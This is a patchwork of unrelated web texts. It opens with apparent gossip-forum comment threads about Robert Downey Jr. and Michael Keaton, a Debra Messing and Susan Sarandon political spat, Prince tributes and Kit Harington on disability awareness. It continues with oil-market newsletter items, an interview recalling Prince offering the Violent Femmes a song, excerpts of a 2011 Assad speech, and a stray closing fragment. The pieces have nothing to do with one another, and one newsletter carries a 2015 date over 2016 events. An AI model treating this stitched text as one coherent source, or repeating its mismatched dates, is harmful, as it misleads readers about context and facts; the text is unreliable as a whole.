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Iron Man was very interesting at first and the first movie is still amazing, but they made him too quippy (idk how much of that is the writing and how much is RDJ) so he annoys me now. I hope Civil War will make me like him again, though. Going by the subject matter I can imagine that Tony won't be throwing one-liners left and right.



OR WILL HE ugh just gimme the emotional moments, some of the spoilers I've read give me hope for those

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I know, if it weren't for him there wouldn't even be a marvel universe right now.

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Same. I just don't understand why Marvel remains so cheap. They make so much money and its makes no sense.

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I feel the exact same way as you. Could've written this comment word for word.

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He was one of my favourites too but right now it looks like RDJ is trying to shoehorn himself into every Marvel movie which has become seriously annoying. Tony Stark's story had wrapped in IM3 in my opinion.

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I can see why people like Iron Man (though I don't), but I'm sure even his fans don't need to see him in every Marvel movie.

Keaton really would have been a great change of pace, and I'm sure would have done a fabulous job in whatever role he was lined up for.

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I agree with both your points.

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He is AMAZING in civil war

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Stop trying to make Spider-man happen! It's never going to happen!

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But Keaton >>>>> RDJ. Imo. I don't care if he's Ironman.

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lmao how rational is it sis? ;)

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meh, he's Republican and still supports his BFF mel gibson, so it's not irrational

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He's not a republican.

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Oh fucking hell! And to think I was happy about RDJ joining yesterday. But oh well. Now it frees King Keaton up for another potential Oscar-worthy role while I still get my Only You reunion. Might've been fun to have a Game 6 reunion too, but so much for that.

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I'm the opposite of ONTD in that I don't like Keaton and still got love for RDJ. Oop.

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After Birdman, idc for Keaton anymore and i don't like RDJ

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Good that RDJ isn't a woman or she would be shredded to pieces for not negotiating less $ to keep Keaton in.

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lmao right?



I have zero issue with RDJ being paid what he's worth but I bet they didn't low-ball him the way A-list actresses like Gillian, Charlize, or JLaw routinely are.

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i'm going to shred him because the amount he earned in phase one and two is disgusting. like he couldn't throw a bone to the franchise that saved his career and take a lesser wage?

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To be fair, the first Iron Man movie saved Marvel from bankruptcy (as in, RDJ and his wife had to lend Marvel money to fund the film), so they helped each other.

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Comment like these are weird. Why on earth should any actor take a pay cut to help out a multi-billion company that employ them?



Both Marvel and Sony can afford to pay both RDJ and Keaton to their just value. The fact that they don't because they're cheap isn't his problem.

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why should he? the studio made billions off him lol

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please marvel is just cheap, they can afford anyone at this point so why should he take the hit if he's the one making them BILLIONS

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mte you know they wouldn't hesitate to recast a woman for less

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The majority on ONTD hate RDJ though. It is complete shit of him that he isn't willing to take a bit of a pay cut to make room for another actor. Once you have tens of millions of dollars that isn't going to hurt.

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Is Spider-Man still Sony?



Because Marvel can obviously afford both lbr

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Nope, it's Marvel this time. Spidey's officially joining the MCU. And just because they can afford both, they clearly just don't want to. It's not the first time Disney/Marvel have been called cheap.



ETA: Correction - it's Sony and Marvel together. So yeah, they're just cheap.



Edited at 2016-04-22 04:31 pm (UTC)

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I believe Sony still has the rights to Spider-Man, but any movie released now is going to be part of the MCU.

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I heard the Sony CEO is as cheap as Ike Perlmutter. Signing a second fat check might give the poor man a heart attack.

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He totally is. This moron tried to low-ball JLaw and lost her and director Linklater (which she had brought in) in one fell swoop.

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Nooo, I was looking forward to the DC/Marvel switcheroo >:/

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its a known fact at this point that RDJ ruins everything

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Tell ha!

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cmon we all know RDJ disney paid for those reviews!!

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Only 31 reviews? lmao, I'm not saying the movie isn't good, but most movies have way more to give a consensus, MMFR has over 300 with only 11 rotten at it's on 98%, there isn't a consensus yet with CW.

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Most of the people reviewing the movie isn't even highlighting his performance so what's your point?

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Get them!!

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lol okay then

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a lot of the reviews are praising him in particular so idk what you're on about

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lmao.



need the gif of the cameraman from the channel 4 interview.

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lol @ marvel/sony """not having""" enough money to afford both :P



well, i'm sad because i really wanted to see keaton in this but otoh i adore the spidey/iron-man interactions so i guess i'm fine with this :)



Edited at 2016-04-22 04:31 pm (UTC)

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I dislike both Keaton and RDJ, so eh.

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2 companies together can't afford 2 actors?

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smh i submitted this op!

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The race is to the swift, as it turns out.

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probs which admin thinks its better too, lmao. mine was just the tweet. cba to find the YT at work tbh

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I don't think I've ever seen an interview from her before. She's annoying.

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I thought it was serious, and I was wondering how far Sansa was from the books because she was learning archery... lol!



and lmao that "welcome to my x-men cribs" video

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My friends gave me the 1-4 blu rays, and I used HBO GO and i literally watched all 5 seasons (i have 4 episodes left) in like 4 days.



I'm obsessed and I'm definitely House Targaryen because Drogon, Viscerion and Rhaegal, (plus I have the silver hair)



I'm going to my friends house for the premiere and I'm so STOKED.

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I swear she must've gone to the Sam Worthington School of American Accents - the little I've seen of her in the trailers is just rubbish.



Edited at 2016-04-22 06:30 pm (UTC)

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I can't watch but is this the video with Jubilee?!?



FINALLY JUBILEE.

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Should practiced her american accent too and i say this as a fan!

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Can we use this thread to talk about the potential premiere leak? It's only pics tho, no video.



Sophie always swings from funny and charming to annoying for me. Her Nylon shoot is out too. I like it a lot better than Maisie's, even tho Maisie had the cover spread.

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shoot for my hand, bb!

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i wanna try archery!!



(also comic related: holy shit this eddie berganza stuff. what a pig.)

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what happened

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Supposedly he's a serial harasser of employees, to the point where DC's HR department has arranged for there to be no women in the Superman editorial office so as to try to avoid any further incidents (the more conspiracy theory elements claim that he hasn't been fired because he has unknown dirt/leverage over one of the higher-ups, but that strikes me as a little on the tabloid side).

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what was said above. people were rightly angry about what happened to shelly bond that they just stop giving a fuck and let it all out on twitter.

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*sigh* this beige act

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lol the video is cute

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Her archery video was pretty cute.

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it's weird to think debra messing has a following that will go after someone she mentions

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lmao what is their stan name? hot messes? debaholics (just sounds like people who shop exclusively at DEB in 2003)

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DEB was where I bought my first and only thong in middle school. I thought I was so cool when I bought it. I feel that is probably how most people remember DEB, buying shit they thought made them cool.



Edited at 2016-04-22 10:27 pm (UTC)

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Same tbh.

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Right? I would've thought between Will and Grace and Mysteries of Laura that her fanbase would be older. But then, older fans can be pretty bad too - looking @ you, Twimoms and the "Mommy" fans Richard Armitage has to deal with.

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A lot of gay men, especially ones who grew up with Will and Grace ride HARD for it. It's fascinating.

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ikr lol

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I never knew she had a single fan, tbh.



People mentioned gay men loving her, but she was straight on the show? I would expect them to stan the actor who played Will, not the straight woman.

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Debra Messing is funny on Twitter and Snapchat

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I respect that she is a Bernie supporter



But as a Hispanic, it really made me feel a certain way how condescending she was to Dolores Huerta.



It was like watching a wealthy white woman giving orders to her maid.



The same way Bernie and his supporters try do dismiss the Southern voters as uneducated.

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The same way Bernie and his supporters try do dismiss the Southern voters as uneducated.



Kind of glad I didn't know about this sooner. But I can't really be surprised. Given a lot of things Southerners are known for, it makes sense. But as a Southerner who voted for Bernie on Super Tuesday (my very first Super Tuesday vote, I might add) it does sting a bit.

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Ahh I kind of get it though too. More than a couple of politicians have talked shit about Pennsylvania and I just cackle because I'm like omg that's so true the people are utter hicks.

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Oh ur hispanic? So ur from spain?

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I'm a Southern voter in Texas and I think it's fair to say that a majority of my states' population is, at best, UNDER-educated :(( so many ppl here identify as Republican, and it's not limited to old white people :((

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the whole 'why does it matter hillary sweep the south if she wont win them in the general' argument is so hilariously stupid and racist to boot. it needs to stop being constantly brought up.

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This is what bothers me about Bernie Sanders supporters (and i also think its a big reason why he hasn't won a lot of minority voters). There seems to be such an unbelievable amount of arrogance/privilege within his campaign and supporters that is so off putting and completely disconnected. They come across as the worst kind of liberal white people who are just so uneducated but carry themselves as if they know it all. They come across as the type of white people who say things like "I don't 'see' color. everybody is equal to me."



This susan sarandon mentality that he is the be all end all candidate and hillary clinton is basically the same as trump/cruz is honestly so false and ultimately damaging for the democrats. Its encourages low voter moral and pushes people to either vote for a third party or not vote at all. Not saying this is how all Sanders supporters are, but its alarming how much of them share this sort of blissful ignorance.

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I'm a Chicana and maybe I'm blind but I didn't see it that way at all. I was more disappointed in Dolores Huerta and America Ferrera not coming forward and saying maybe there was a miscommunication or something the other side didn't hear that they did. Dolores Huerta has been for herself for awhile and even wasn't so for Latino immigrants. I lost a lot of respect for her.

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i didn't even know they were in a feud, but i like debra messing more regardless of who is the messier one here, so team debra (except if the question is 'is debra a good name' b/c it's not)



Edited at 2016-04-22 08:29 pm (UTC)

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Tbh I've never liked Debra and I'm not even sure why. Forget the writing, her character was the worst thing about Smash for me (okay, Ellis was the literal worst, but still.) But wow, this wasn't a feud I expected.

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OH MY GOD, I forgot all about Ellis. What a dreadful idea for a character. D: But most of the characters on that show were The Worst, lbr. It took me ages to get over my OTT hate for Emory Cohen [though Brooklyn helped a lot].

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that kid's google image search is a wild ride tbh

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was Ellis the son or that annoying gay guy assistant who kept trying to blackmail his way into the production/money somehow because THAT GUY was the worst

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NHF the media fanning the flames of this ~feud -- I am forever Team Stop Talking About "Catfights" -- but people who get mad about sound bites/quotes before reading the entire thing are very annoying. I know ONTD too hates context, but it actually matters usually, so.

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lmao

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spot on.

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accurate lol

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LOL

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lol at anyone who knows susan sarandon and her history of politics would think she would actually actively support trump

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I feel like I've known about Susan's politics since I became aware of her movies. That was when I was 9.

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yeah she's always been very open about her political preferences

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I only read this headline too and if she really said that about Debra it's a dick move. Like Susan Sarandon is busy. pls.

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Lol. That clip from the show where she explained the feud was funny. Ridiculous.

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Also Bernie fans are swiftly moving from "negative campaign" mode (which had been happening lately but was fine in my book because it was based on valid arguments) to "we're bitter we lost" mode which is more condescending and aggressive and I don't like it.

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I've pretty much resigned myself to the fact I'll have to vote for Hilary when the time comes. I may not like it, but I refuse not to do my small part to keep He Who Shall Not Be Named out of the White House.

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i didn't think it was possible for them to get more condescending and aggressive tbh, but here we are...

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Yep. It is very annoying. Which is why I keep unfollowing them on Facebook. :D

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jill zarin lives on!

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favorite celeb twitter feud?





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Good luck with bookin that stage u speak of STILL makes me cackle

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WELL she kind of does support trump. she wants him to win (if bernie doesnt) because she believes he will usher in a 'political revolution' lol

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in the interview she said, "some people feel that if trump wins, there will be a political revolution"



she never said SHE did

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read the article, you're doing exactly what debra did, what this post is even about smh

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i won't say I'm team anyone in this because idk them but it's nice seeing a strong bernie supporter on msm. also she's pretty funny in this clip. so much shade.

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https://storify.com/zatchry/the-divide-on-the-electoral-left-between-sanders-c



speaking the truth speaking the truth

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This hits the nail on the head.

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I think specifically the NY primary was definitely a complete mess and the whole system has to be fixed but what I didn't like was noticing some white people comparing that and the closed primary to the voter suppression minorities face. Especially because some even admitted they weren't paying attention to the October deadline or the March deadline. I think it's all fucked up but I wasn't buying that NY was some conspiracy because that mess existed long before Hillary and Bernie.

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And Kiss It Better too. That gorgeous song is all Prince.

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mte

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it really is

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Edited at 2016-04-22 09:05 pm (UTC) you didn't lie.

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Oh my God.

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u didnttttt

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lmao

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Jesus this is super late but LOL I love you!!

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fuck ilu

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mte, probably one of the reasons i've loved it so much.

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So true

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yaass

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Just when I think I can't be moved to tears anymore about his passing, something else comes up that just leaves me heartbroken all over again.

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OP! Your icon!

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at the height of her beauty

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Loved it

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honestly Prince had zero impact on me musically while I was growing up. The most I remember from him was a song he did with Mariah that I loved.

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ia - it's weird, last week i was like i need to get into prince, i feel like i missed something vital in my childhood, and then this week he died lol. i listened to his music though and it really was so good, i wish it had been a part of my formative years.



also are you talking about beautiful ones? that one was with dru hill but was a prince cover - and i also LOVED it, it's so gorgeous.

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yes! that is what I meant! Such a great song. I could tell he was very talented lyrically.

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last person i'd want to hear a prince song from tbh

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I think she did a good job here, without doing one of his songs.

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as long as she does her own stuff, she's fine lol

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damn she sounds good?!

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http://www.youtube.com/watch?v=BuABxVsIGBY"



Edited at 2016-04-22 09:22 pm (UTC) Get into the Anti World Tour vocalist !!!

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I love this song, what a lovely tribute 

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Diamonds and Pearls is so underrated as a masterpiece.

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Oh lmao I thought she did something like, "Shine bright like DIAMONDS AND PEARLS..."

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it really is tbh

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http://www.metacafe.com/watch/10777115/prince_little_red_corvette/



little red corvette is such an overused song that it's easy to forget just how good it is Don't know how to embed this but it's not an youtube but he was enigmaticlittle red corvette is such an overused song that it's easy to forget just how good it is

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That was good

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Shoot I like how she sounds here! More Sia-like than usual

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god damn, that picture. so that's just really what his face looks like?

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I was going to change it but I'm too lazy lmao, that photo isn't his best.

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but he looks cute? lol idk, maybe my taste is awful

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He looks good lol <33

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Yea, this is like the first time I've been attracted to him.

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ia, that bit struck me the most, and this is very awesome of him :)

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yeah, this is a really great point

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Lovely way of putting it, ia.

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FOR REAL: )

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Ia, very well said.

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I'm both. Sometimes I avoid talking about it, other times I really want to talk about it but I fear the way people will respond to it. "lmaooo retard" etc.

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Awe, this is awesome. More awareness is important for those with disabilities.



I would also urge this to be educated more to those in school especially the younger children. I grew up with many disabled children in my classes and other children were so nasty to them and the teachers did nothing to prevent it from happening.

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The kids in my school didn't try to be nice. They would throw rocks at them, it was horrible. And the disabled children were put in a small room outside the school so they only interacted with the other kids during recess and lunch which made it even worse.

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yep THIS. every idiot and their posse would sit next to the disabled kid for a day and then spend the next week recounting all the "stupid" stuff he did. so gross

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Same with my school, the children were absolutely horrible to those with disabilities, it was disturbing, especially since in primary school we all treated eachother as equals. It wasn't until secondary where people turned into assholes.



We had a building on campus dedicated to helping those with all types of disabilities though which was lovely and there were many volunteers there willing to help and were all very kind and friendly to everyone.

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same, in HS we had disabled students and I remember seeing some of the boys push a kid who I guess wasn't "severe" enough to be in the special ed program so he was with everyone else. not to mention the kids who were autistic and people would tease them and get them mad because they thought it was funny.

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I remember at my middle school the severely disabled kids were actually treated really well by everyone (especially a lot of the "popular" boys, which I remember finding really great at the time because it set a tone). In particular, it was things like asking them to dance at school functions, eating lunch with at their table, inviting them to play kickball or whatever the sport was at recess, cheering at graduation, etc... I wish I could remember what my school did, if anything, to encourage it because it was really wonderful. It never felt patronizing either.



It's great Kit is speaking on the issue and I hope it reaches people, especially in the 10-14 age range when cruelty to peers is at its height.



Edited at 2015-06-17 06:52 pm (UTC)

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Yeah, I agree that schools need to get better with stuff like this. Not only through educating the kids on what isn't acceptable behaviour towards others who are different, but the adults as well need to be able to deal with it adequately.

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this is very decent of him. it's nice to have advocates with such a huge platform.



laurent is also such a beautiful name.

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This is really nice of him. My mom taught kids with learning disabilities for 40 years before she retired and the amount of bullshit she heard about her students over the years is astonishing, although it has gotten better, in her opinion. Awareness and understanding are really important when it comes to a lot of disability issues.

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This is so great of him.



I remember as a child I was terrified of the special needs kids. more awareness and interaction is so critical.

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Yeah my mom was a special education teacher and I remember she had me and my sister volunteer at the special olympics in our community every year and when I was very young I remember being scared as well. It wasn't out of meanness, just not understanding. It is important to talk to kids of all ages about disabilities.

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I've been stanning for Kit ever since he looked like he was about to beat that "prankster's" ass who went under America Ferrara's dress. He seems lovely.

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yeah, he seems like a legit good guy, too bad he's so awkward (which tbh i can relate to)

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How is he awkward? I've seen a few interviews with him and he seemed fine?

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That's a really good cause. More awareness needs to come about.

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very nice and he is right, it is really important to raise awareness for this.



Edited at 2015-06-17 05:53 pm (UTC)

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very well-said. my little sister has autism and just started high school, and i worry all the time about how other people might be treating her during the day or throughout her life in general. she stims and talks to herself, and while these things are totally harmless it seems like most people don't know how to react and get uncomfortable.



it's good to hear celebs speak out about learning disabilities because my family and i often feel like we're completely alone in caring for her - it can be difficult sometimes and it's hard to find people to talk to about it or turn to for help or advice. it's a topic that so few people even WANT to understand. more awareness in society would be really reassuring that she will be treated the way she deserves to be treated in her life, and not stigmatized and dismissed because of her disability. right now i'm terrified that she and others like her will always just be marginalized, i can't handle the thought of her not having a normal and happy life. makes me really emotional and anxious.



Edited at 2015-06-17 05:56 pm (UTC)

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this is how I feel about my brother. he's 26 and autistic and my parents failed him majorly, he has no life skills, can't keep a job, people know he's different and my parents only figured it out recently that he needed a lot of help as a kid and disability programs in college to help him.

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my parents haven't done the best job either. i think if they'd done more for my sister, she'd be okay living on her own in the future, but now it's too late and i don't think she'll be able to for a long time and idk if i'll be capable of taking care of her when our parents are gone. do you know what's going on/going to happen with your brother's living situation?



i'm sorry your parents didn't do more for him. i know it's not easy to be a parent in that situation but if your child has needs, you have to be sensitive to that and step up and help them.

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 oh Kit Kat

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Kitty was at his peak attractiveness around the time of your icon. He's still hot doh.

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Agreed, he was soooo cute this era.

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lol I came here to read all the legit sensitive comments, but here i am irl chocking at the kitkat comment



brb deep calming breaths!!!!!

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Ugh, I used to think he was ugly as hell, but as his hair got longer and his face got hairier I am just like okay...you can get it a little.

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I think that having a deep understanding of the condition is tough for most people because they can't put themselves in their places or have their mindsets. Which makes the acceptance harder.



I have a friend with Aspergers' that would come to these weekly meetings in a friend's house, and most people didn't get him. I educated myself a little on the subject, so I had a tiny bit more understanding of how to make him feel more comfortable. Thankfully, with time, people (me included) started to understand his behaviour more and he became so, so open about his condition. For example, he couldn't understand metaphors at all, so we often rephrased stuff in a more literal way.



Anyway, it was amazing and it really showed how sometimes acknowledging someone's struggles can be the best way to go.



Edited at 2015-06-17 08:11 pm (UTC)

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We start this newsletter by taking a look at some key data for the U.S. oil and gas industry in which we see further declines in U.S. production, but an increase in U.S. crude oil stocks.

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Friday, April 22, 2015

It has been a wild week for the oil markets, with the collapse of Doha, a workers strike in Kuwait, and the seeming dissolution of any possibility of cooperation within OPEC. But oil prices have jumped to their highest levels in five months, breaking through a key threshold at the low-$40s per barrel. Related: Eni Hopes To Develop Supergiant Gas Field By 2017

Can prices continue to rally? Prices have surged on news of supply outages from around the world, particularly from Kuwait (more on that below). But can WTI and Brent hold onto the gains? Oil storage levels jumped once again in the U.S., a bearish sign that the glut continues. On the positive side of the ledger, production fell by another 24,000 barrels per day last week, and declines are expected to continue. The supply/demand adjustment continues apace, and the markets appear to be gaining confidence that the worst is over.

OPEC to discuss freeze in June. The collapse of Doha has laid bare the degree of infighting in the oil cartel, but a Saudi official said that OPEC members would resume negotiations over a production freeze at its June meeting in Vienna. OPECs Secretary-General downplayed that prospect when he responded, maybe the ministers will discuss it. It is hard to imagine OPEC rebounding from the failed Doha talks to secure an agreement. The only thing working in favor of improved cooperation is the possibility that Iran reaches its pre-sanctions level of oil production by then. This week, Irans deputy oil minister was quoted in Irans state news agency, saying that Iran could achieve pre-sanctions oil production levels by June. Since Iran has previously stated that it would not join a freeze deal until it restored output, the comments raise the possibility that it could come around to a deal when the cartel meets in Vienna.

Kuwait workers strike ends. The oil workers union ended their strike, claiming that the outage and the temporary disruption of more than 1.5 million barrels per day (mb/d) of oil supply clearly demonstrated their power and their importance. For a few days, the strike knocked off the equivalent of the current global supply surplus, an eye-opening event that few saw coming. But Kuwaits state-owned oil company should be able to ramp up production in the coming days.

Obama visits Riyadh. U.S. President Barack Obama sought to repair damaged relations with Saudi Arabia, shoring up an alliance that has spanned seven decades. Obama met with King Salman where they discussed their joint efforts to fight ISIS, as well as how to deal with the economic problems from low oil prices. The U.S. president attended a summit of the Gulf Cooperation Council. Related: Sanctions Lifted, Now Iran Wants To Get Paid

U.S. Senate approves energy bill. The first energy bill since 2007 is making its way through the U.S. Congress. The bill includes measures to improve energy efficiency, enhance cyber and grid security, and it also expedites the permitting of LNG export terminals. The House passed a similar version in late 2015, and the two chambers now need to reconcile the package in order to send it to the Presidents desk.

First U.S. LNG to Europe. Cheniere Energy (NYSE: LNG) just sent its sixth LNG cargo, and it will mark the first shipment to Europe. U.S. LNG has been hailed as a major plank in Europes energy security, but there are questions over how well it can compete with pipeline gas from Russia. A shipment of LNG will arrive in Portugal soon, marking the first U.S. LNG cargo to arrive on the continent, and also providing Cheniere with a foothold in Europe.

Schlumberger (NYSE: SLB) lays off 2,000. The largest oilfield services company in the world, Schlumberger, said that it cut another 2,000 positions from its payroll in the first quarter, and also announced that its quarterly earnings fell 49 percent. Since the end of 2014, Schlumberger has cut 36,000 people from its workforce. The first quarter of 2016 was one of the worst yet, and Schlumbergers CEO Paul Kibsgaard said that the decline in global activity and the rate of activity disruption reached unprecedented levels as the industry displayed clear signs of operating in a full-scale cash crisis. The problem for the oilfield services sector is that with the balance sheets of the E&P companies so damaged, drilling may not return immediately even if oil prices rise. Kibsgaard says the operating environment is expected to continue deteriorating over the coming quarter given the magnitude and erratic nature of the disruptions in activity.

Credit lines for oil and gas could be cut by 15 percent. Moodys estimates that the credit redetermination period could result in a decline of 15 percent in the volume of credit offered to oil and gas drillers in the U.S. shale patch. Moodys also said that about three-quarters of the companies that it they surveyed expected to see their credit lines lowered, and none expected an increase. The rate of defaults from oil and gas drillers could rise if struggling companies run out of funds. Related: What A Recovery For Oilfield Services Might Look Like

Oil industrys earnings season set to begin. First quarter earnings reports are just starting to be released, and the numbers will reflect the worst quarter yet experienced for the industry. The first quarter of 2016 saw oil prices at their lowest levels in more than a decade. The full damage of the quarter will start to come into view when the oil majors announce their numbers in early May.

San Francisco requires solar on all rooftops. The city of San Francisco passed an ordinance that would require the installation of solar panels on the rooftops of all new small and medium-sized buildings. The requirement is the first of its kind in a city as large as San Francisco. SolarCitys (NYSE: SCTY) share price surged nearly 8 percent on the news.

SunEdison files for bankruptcy. The solar industry is doing well but one of its largest companies just filed for Chapter 11 bankruptcy. SunEdison had piled on too much debt in recent years as it recklessly pursued growth. SunEdison hopes to trim more than $16 billion in debt through the bankruptcy process. The solar companys nearly $2 billion deal to takeover Vivint Solar fell apart as its finances deteriorated over the past year.

By Evan Kelly of Oilprice.com

More Top Reads From Oilprice.com:
The U.S. Senate this week approved a bill to speed permitting of new liquefied natural gas (LNG) export facilities. Just as news from one of the worlds most important LNG consumers shows the market isnt what it used to be.

The place is Japan. Where statistics released Wednesday showed that annual Japanese LNG demand fell for one of the first times in recent memory.

Trade data showed that Japans total LNG imports for the fiscal year ended March 31 were down 6.2 percent as compared to the previous fiscal. With the country bringing in a total of 83.571 million tonnes of LNG for the 12-month period. Related: $91 Billion In Capex Cuts, A Serious Hangover For Oil

Heres the most critical point. This was the first time in six years that Japanese LNG demand has fallen year-on-year.

Thats a crucial data point for the global LNG market. With rampant Japanese demand having been one of the major drivers of positive sentiment  and resulting business expansions  in the industry during recent years.

As the chart below shows, much of that ramp up in LNG demand came following the Fukushima incident in 2011. We can see how nuclear power generation (yellow bars) went to zero after 2011  and natural gas use (red bars) jumped, along with coal (black). Related: Why Are Bankrupt Oil Companies Still Pumping?

Japans use of natural gas (red) spiked after the Fukushima incident in 2011 Related: Oil Majors Lose Faith In The North Sea  100 Shut Downs Looming

But with Japanese nuclear plants now coming back online, it appears that Japans rush for natural gas is over. A fact that had been strongly suggested by LNG prices such as the Platts Japan-Korea Marker  which has fallen to as low as $4.25/MMBtu recently, from as high as $20 back in 2012/13 when Japanese imports were surging.

This weeks data suggest that the weakness in Asian LNG prices is likely to persist. At the exact same time that numerous new LNG export facilities are starting up globally  particularly in Australia, and to a lesser extent in America.

U.S. exporters seem to be addressing this by diverting shipments to markets like Brazil and Europe. Watch to see where growing LNG supply from the rest of the world ends up  and dont be surprised to see prices remain low for the foreseeable future.

Heres to a good six years

By Dave Forest

More Top Reads From Oilprice.com:
Shortly after Prince's sudden and tragic death early this afternoon, OnMilwaukee met up with Milwaukee musician (and OnMilwaukee contributor) Victor DeLorenzo, who had a fun story and a few thoughts to share about the late musical icon.

OnMilwaukee: Do you have any Prince stories?

Victor DeLorenzo: Well, the one incredible Prince story I have to relay is the time when the Violent Femmes were in Los Angeles, and we were working on a record that eventually became "Why Do Birds Sing?" We were working on some of the recording with Princes engineer, Susan Rogers, and we had a great time with Susan. We were doing final mixes over at a studio called Larrabee, and this was a studio complex  we were in one studio, and in the studio next to us, Prince was in the studio.

So, jokingly, we said to Susan one afternoon when we were working, "Hey, why dont you go next door and ask Prince if hes got a song for us?" After doing this a number of times, she finally said, "OK, alright, Ill go bother him!" So she goes over there.

Shes gone about 10 minutes, and were thinking, "Wow, whats going to happen? What if he wants to come over and meet us? Or if he has a song?" Suddenly, she comes back into the studio were working in, and she says, "Prince has a song for you. Hes sending someone over to his archive, and theyll get a cassette over to you later this afternoon."

So this cassette arrives, and its a song called "Youve Got A Beautiful Ass " (sic). And I think it did come out later on one of his collections or compilations or outtakes or what have you. We had this cassette, and we listen to it, and I can remember the chorus: "Youve got a wonderful ass; youve got a beautiful ass." Or something to that effect. I think Gordon still probably has the cassette. But another mistake in a long line of many made by Violent Femmes, we never recorded it.

Did you guys consider it?

We did consider it! But at that time, we were thinking, "Wow, if we record something like this, is it going to be able to really get out there  even if we say its a Prince song  because of the subject matter and that?" Even though wed had songs like "Girl Trouble" (sic) and "Add It Up" (sic) and all this other stuff, we still kind of thought, "Is that the right thing for us right now when were trying to get something really on the radio?"

Did you think at the time that he was messing with you?

No!

You thought that was a song that he really thought would be great for you guys.

Yeah, and I wish I had the cassette, because the song was really cool! I really liked the song.

So he actually did put some thought into that.

Yeah! It was like what I was just reading today; hes got an archive of I dont know how many thousands of songs that are just finished that are just sitting there. And thats what Susan Rogers told us too. He would come in there to the studio and just record all the time. He would be there every day, just working on stuff.

She would set up mics on the drum set; he would go out and play the drums first. Then hed come in and play the bass to the drums. Then hed do the guitars and do some keyboards. And then hed say, "OK, Sue, its time for me to do my thing." And then she would set up a mic behind the console, and she would leave for an hour or so. And he would sit there, and he would do all his vocals by himself.

Would it have made a difference if the interaction had happened sooner? You were saying you were mixing the record by then, so basically the record was done. Would it have mattered if it couldve been an album track?

I like to think that anything couldve happened the moment that cassette got into our hands. But, as you said, yes, the record was in the final stages of being mixed  even though we did take that whole record and remix it here in Milwaukee with Dave Vartanian. We didnt track anything brand new; the record itself was finished.

But who knows? If things wouldve gone another way, maybe we wouldve made time to do just a recording of that track and release it just as a single.

In a more overarching way, what does Prince leave us with? I mean, this was not your average, ordinary musician; this is a guy who made a major contribution.

I think what I most appreciate about Prince and his music is the mystery that was involved. I liked the fact that he infused so many different styles of music into his own and that he, much like a 30s or 40s Hollywood movie star, really banked on that persona of his, and the sexuality and the mystery surrounding it. So he was being sexy, but not in an overtly masculine or feminine way, which was very progressive at that time. Long before Madonna did her sex book or anything like that, this was something middle America had to confront.

And being from Minneapolis! How amazing that you have these two cultural icons  Bob Dylan and Prince  coming out of Minnesota.

And both craftsmen.

Right! And prolific! Both so prolific.

With Prince and Madonna, there was that commonality of the sexuality, but Madonnas always seemed more crassly commercial. Princes always just seemed more artful, a little more challenging thoughtfulness to it.

And that it really came from something.

Other than a desire to be on the front page.

Right. They were both huge egotists, of course, and its funny because I think when they did finally get together, wasnt there a lot of friction? I think they released a few recordings, but there was something strange about their interaction.

But Prince, his music I like to think came from purity and no artifice, whereas Madonna was very calculating from her first appearance on the world stage, I think. Thats what made her attractive. And I think the reason that Prince was so attractive was that here were the reflections of a dirty mind. Here was how this fellow thinks about sexuality. And this is how he portrays it to an audience at large  no fear and totally in the vanguard as a trailblazer.
Did Assad Make 'A Fatal Mistake?

As negotiations over the unwinnable Syrian civil war drag out, a Texas University Middle East specialist, David W. Lesch, tried to lay the blame for its start with Assad, www.google.com/search?client=safari&rls=en&q="Assad's+Fateful+Choice"+by+David+W.+Lesch&ie=UTF-8&oe=UTF-8 and specifically, with the speech that he gave to the country in March 30, 2011:

According to interviews Lesch had with various insiders, one group wanted Assad to be firm, another wanted him to be conciliatory. In his article for Syria Comment Lesch claimed that Assad chose the former, making a colossal mistake. Here are excerpts from that 5000 word speech in English: OEN readers can judge for themselves, taking into account that the flowery language is part of Arabic culture:

Ladies and gentlemen, members of the People's Assembly,

It gives me a great pleasure to meet you once again in this distinguished place, to talk to you about the conditions engulfing Syria and the region and to address, through you, all the children of Syria; Syria which is at the heart of everyone of us, the invincible castle, with its glories, with its people in every governorate, city, town, and village.

I speak to you at this exceptional moment when events and developments pose a great test to our unity and self denial. It is a test which is repeated every now and then because of the continued conspiracy against this country. Thanks to our will, solidarity, and the will of God that we succeed in facing it every time in a manner which enhances our strength and pride.

The Syrian people are entitled to hold their heads high. I talk to you from the heart with feelings of pride for belonging to this great people, with gratitude for their love; yet I speak with feelings of sadness and sorrow for the events which claimed the lives of our brothers and children. My responsibility remains that I should protect the security of this country and ensure its stability. This remains the ever-dominant feeling in my heart and mind.

I know that the Syrian people have been waiting for this speech since last week; and I intentionally postponed it until I have a fuller picture in my mind, or at least some of the main features of this picture, so that my speech should depart from the emotional rhetoric which puts people at ease, but does not change anything or make any impact at a time when our enemies work every day in an organized, systematic and scientific manner in order to undermine Syria's stability. We acknowledge that they had been smart in choosing very sophisticated tools in what they have done; but at the same time we realize that they have been stupid in choosing the country and the people, for such conspiracies do not work with our country or our people. We tell them that you have only one choice, which is to learn from your failure, while the Syrian people have only the choice of continuing to learn from their successes.

You are fully aware of the great shifts and changes happening in our region for the past few months. They are important changes which will have repercussions throughout the region without exception, including the Arab countries and maybe far beyond. This obviously concerns Syria, because Syria is part of this region.

But if we want to consider what concerns us in Syria in what has happened so far on the larger Arab scene, we can say that what happened vindicates the Syrian perspective, in the sense that it expresses a popular consensus. When there is such a consensus we should be assured, whether we agree or disagree on a number of points. What this means is that this popular Arab condition, which has been marginalized for three or four decades, is now at the heart of developments in our region. This Arab condition has not changed. They tried to domesticate it, but it has not yielded.

As far as we are concerned, you recall that in my speeches I always spoke about the Arab street, the fact that it gives direction, about citizens' views. Many in the media used it to express cynicism, and many politicians used to reject that and smile slyly, particularly when I used to meet them while Syria was under a lot of pressure. They used to propose ideas which were contrary to our interests and which implied conspiring against the resistance and against other Arabs. When pressures intensified, I used to tell them that even if I accept this the people will not. And if the people do not accept it, they will reject me. And if they do, that means political suicide for me. They used to smile, of course, implying that they did not believe me. Today, after these events, there have been several meetings, and I repeated the same words. Now they were shaking their heads in agreement.

This is very important. On the other hand, and since the Arab peoples refused to be domesticated and have not changed at heart, we have to work harder to heal the rift in the Arab world if changes in the region continue to take the same course, particularly working on the people to achieve certain objectives. The other thing concerning the Arab peoples' concern about core Arab issues, particularly the Palestinian cause, we believe -- and I hope rightly so - that the changes in the region will change the course that the Palestinian cause has taken at least for the past two or three decades and shift from a process of making concessions to a process of holding to rights. So, we believe that there are indications that what is happening is positive.


OT0106.Noah Building the Ark

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The current presidential primary circus apparently does not have a corner on the Bizarre Market. A few of the nutcases may have craziness in their genes.

